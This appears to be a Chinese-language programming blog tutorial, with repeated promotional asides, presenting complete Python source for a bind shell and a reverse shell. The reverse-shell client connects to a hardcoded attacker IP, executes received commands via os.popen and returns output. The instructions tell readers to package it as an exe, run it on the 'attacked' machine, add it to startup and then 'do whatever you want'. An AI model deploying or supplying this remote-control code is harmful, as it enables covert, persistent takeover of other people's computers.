python教程:正常shell与反弹shell

嗨喽,大家好呀~这里是爱看美女的茜茜呐

正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接

  • 反弹shell,攻击端是服务端,被攻击端是客户端

  • 正常shell,攻击端是客户端,被攻击端是服务端

  • 反弹shell,先启用服务端,再启用客户端

反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)


👇 👇 👇 更多精彩机密、教程,尽在下方,赶紧点击了解吧~

python源码、视频教程、插件安装教程、资料我都准备好了,直接在文末名片自取就可


shell:

客户端:

import socket
s=socket.socket()
s.connect(("192.168.0.114",1234))   #连接的服务器的ip地址,端口
for i in range(10):
    com=input("command:")
    s.send(com.encode())     #发送信息
    d=s.recv(1024)           #接受数据的大小
    print(d.decode(),len(d))

服务端:

'''
python资料获取看这里噢!! 小编 V:Pytho8987(记得好友验证备注:6 否则可能不通过)
即可获取:文章源码/教程/资料/解答等福利,还有不错的视频学习教程和PDF电子书!
'''
#服务器端
import socket
import os
s=socket.socket()   #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.bind(('0.0.0.0',1234))    #绑定地址和端口#0.0.0.0接收任意客户端ip连接
s.listen(5)                 #调用listen方法开始监听端口,传入的参数为等待连接的最大数量
con,addr=s.accept()     #接受一个客户端的连接
#print(con,addr)

for i in range(10):
    cmd=con.recv(1024)
    print(cmd)
    command=cmd.decode()
    if command.startswith("cd"):
        os.chdir(command[2:].strip())   #切换路径
        result=os.getcwd()      #显示路径
    else:
        result=os.popen(command).read()
    if result:
        con.send(result.encode())
    else:
        con.send(b"OK!")
测试:(客户端(win10)、服务端(win7))

1.把服务端打包成exe文件,然后在win7运行打包好的exe文件,python打包成exe文件这里推荐pyinstaller模块(需要安装,安装方法不会的百度)

打包成exe文件时最好打包成文件夹,如何打包成单个exe文件,在win7中运行可能会出题。

下图就是打包的文件夹,双击运行图中exe文件

2.在win10运行客户端

反弹shell:

客户端:

'''
python资料获取看这里噢!! 小编 V:Pytho8987(记得好友验证备注:6 否则可能不通过)
即可获取:文章源码/教程/资料/解答等福利,还有不错的视频学习教程和PDF电子书!
'''
#反弹shell,攻击端是服务端,被攻击端是客户端
#正常shell,攻击端是客户端,被攻击端是服务端
#例:攻击端(win10),被攻击端(win7),正常shell,先在win7启动服务端,再在win10启用客户端
#   反弹shell,先在win10启用服务端,再在win7启用客户端
#   反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)
#   正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接    
import socket
import os
import sys
import time
#print(sys.argv)
#hacker=sys.argv[1]
hacker="192.168.0.144"
port=1234
server=(hacker,port)
s=socket.socket()
s.connect(server)

while 1:
    # 得到被攻击端的所在目录,并发送
    dir=os.getcwd()
    #print(dir)
    s.send(dir.encode())
    # 接收来自攻击端(服务器端)的命令,并进行处理
    cmd=s.recv(1024).decode()
    # 对接收的命令做出判断
    # 退出
    if cmd=="exit":
        break
    elif cmd.startswith("cd"):
        os.chdir(cmd[2:].strip())
        result="切换目录成功!"
    else:
        result=os.popen(cmd).read()
    if not result:
        result="命令执行完毕!"
    
    s.send(result.encode())
    time.sleep(1)
    
s.close()
print("退出!")

服务端:

'''
python资料获取看这里噢!! 小编 V:Pytho8987(记得好友验证备注:6 否则可能不通过)
即可获取:文章源码/教程/资料/解答等福利,还有不错的视频学习教程和PDF电子书!
'''
import socket
import time
server=("0.0.0.0",1234)
s=socket.socket()
s.bind(server)
s.listen(5)
con,addr=s.accept()
print(addr,"已经接入!")
while 1:
    #接收来自被攻击端的所在目录
    dir=con.recv(1024).decode()
    cmd=input(dir+":").strip()
    con.send(cmd.encode())
    if cmd=="exit":
        break
    result=con.recv(65365)
    print(result.decode())
    time.sleep(1)
s.close()
print("退出!")
测试:
  1. 先在win10运行反弹shell服务端

  2. 再把反弹shell客户端打包成exe文件夹,复制到win7中,然后双击运行

  3. 这时可以看到服务端(win10)已经和客户端(win7)连接上了。

    #只要服务端一直运行,如果把客户端的程序加入到开机自启,这样客户端已开启就被连接到服务端

4.接下就可以为所欲为了

尾语

感谢你观看我的文章呐~本次航班到这里就结束啦 🛬

希望本篇文章有对你带来帮助 🎉,有学习到一点知识~

躲起来的星星🍥也在努力发光,你也要努力加油(让我们一起努力叭)。

最后,宣传一下呀~👇👇👇更多源码、资料、素材、解答、交流皆点击下方名片获取呀👇👇

  • 8
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值